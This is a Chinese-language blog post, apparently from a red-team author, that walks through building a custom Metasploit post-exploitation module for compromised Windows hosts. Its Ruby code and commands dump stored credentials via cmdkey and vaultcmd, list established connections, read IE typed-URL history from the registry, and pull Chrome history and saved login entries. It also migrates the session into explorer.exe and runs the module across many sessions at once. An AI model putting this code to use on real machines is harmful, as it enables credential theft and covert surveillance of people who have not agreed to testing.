打造定制化的Metasploit—主机信息收集

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

项目地址:Metasploit Modules

前言

渗透的本质是信息搜集 —— Micropoor

此篇文章作为后渗透模块信息收集的抛砖引玉。毕竟,一场红蓝双方的对抗,也是时间的较量。

模块实现:收集 已安装的应用程序、主机凭据cmdkey /list && vaultcmd /list、网络连接netstat -ano|findstr ESTABLISHED、Internet Explorer历史记录、Google Chrome 历史记录与保存的密码。

回顾Metasploit

Metasploit的后渗透信息收集模块较多,如winenum,绝对是一条龙,收集的信息也比较全面。但如果sessions较多,批量执行时就会影响效率,不能做到快速化信息收集。

1
meterpreter > run winenum
dac09f5fe503fc979684e1e142dce359

已安装应用程序

引用post/windows/gather/enum_applications

33389c6d0af8e8615475ecf9a23e07d9

凭据管理器

收集凭据管理器中的信息,使用 cmdkey /list[列出Windows凭据]与vaultcmd /list[列出保管库(vault)列表]。但在metasploit终端中,中文输出会使乱码,除非将终端的编码格式改变,这里直接chcp 437英文输出。

具体解密工具

Windows中Credential Manager的信息获取

1
2
3
4
5
def credential
print_line ("\nHost Credentials\n================")
cred = cmd_exec("cmd.exe /c chcp 437 && cmdkey /list && vaultcmd /list")
print_line ("#{cred}")
end

aa280ac11873dfac300843056f1ea78a

Netstat同样,但此处只显示已建立连接的。

6ac62d012fd03ba9c49c374a544fffc2

Internet Explorer

历史记录

在Internet Explorer中输入的网址保留在 HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs

55b7046aeb62e9aaad4afe8b3b444ddc

所以这里需要Msf::Post::Windows::Registry,将url值取出。

d2ee66415de8ea18a892a9885e38c18f

1
2
3
4
5
6
7
8
9
10
11
12
13
def ie_history
print_line ("\nIE History\n==========")
keys = registry_enumvals("HKCU\\Software\\Microsoft\\Internet Explorer\\TypedURLs")
if (not keys.empty?)
while(not keys.empty?)
key = keys.shift
valname = registry_getvaldata("HKCU\\Software\\Microsoft\\Internet Explorer\\TypedURLs","#{key}")
print_line ("#{valname}")
end
else
print_error("NO History Data.")
end
end

bdcafdf0ef53bb2068f3768fad672181

Google Chrome

历史记录

Google Chrome的历史记录存放在%LocalAppData%\Google\Chrome\User Data\Default\History

541f4ba447a138cd4446eefa279fbec4

只需要从目标机中将history.sqlite下载到本地,使用sqlite3类执行sql语句后把url输出。

1
2
3
4
5
require 'sqlite3'

file = "#{rhost}-Chrome_history.sqlite"
maildb = SQLite3::Database.new(file)
urls = maildb.execute("select url from urls;")

8ac9421992082635d795250323def868

登录信息

同理,Google Chrome中保存的密码,记录在%LocalAppData%\Google\Chrome\User Data\Default\Login Data。密码的解密需要win32crypt.CryptUnprotectData,其实在Metasploit中也可以使用railgun去调用Windows API。

b3851c295e279884f133b4ac16b2a650

但解密过程实在是没有处理好,所以这块只能将Google Chrome中保存密码的UrlUsername输出,再借助其它工具或RDP登录进行查看。(后续深入研究railgun调用Windows API)

fe312ad6e3a874f3d1403c294d180caf

存在问题

最后,在测试模块过程中发现:使用msfvenom生成payload弹回的session可以完全操控注册表,但使用exploit/windows/smb/psexec传递弹回的session,却不能完全操控注册表。(具体原因未知)

1
2
3
4
5
6
7
8
def run
ver = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Internet Explorer", "Version")
print_line("\nIE Version: #{ver}")
keys = registry_key_exist?("HKCU\\Software\\Microsoft\\Internet Explorer\\TypedURLs")
print_good("#{keys}")
ver = registry_getvaldata("HKCU\\Software\\Google\\Chrome\\BLBeacon", "version")
print_line("\nChrome Version: #{ver}")
end

cf511787edfb099630884ee775cd4e13

解决办法:加上当前进程自动注入到explorer.exe的选项,防止模块报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# migrate to explorer.exe
def migrate(pid=nil)
current_pid = session.sys.process.open.pid
target_pid = session.sys.process["explorer.exe"]
if target_pid != current_pid
print_status("Current PID #{current_pid}, migrating into explorer.exe, PID #{target_pid}.")
begin
session.core.migrate(target_pid)
rescue ::Exception => e
print_error(e)
return false
end
end
return true
end

254c32966fd07892a31d9273e9f92ff9

完整模块运行Demo:

批量执行

1
msf5 > sessions -C "run post/windows/gather/collect migrate=true"

3a06d4abb39239f3f7441313874dc680

References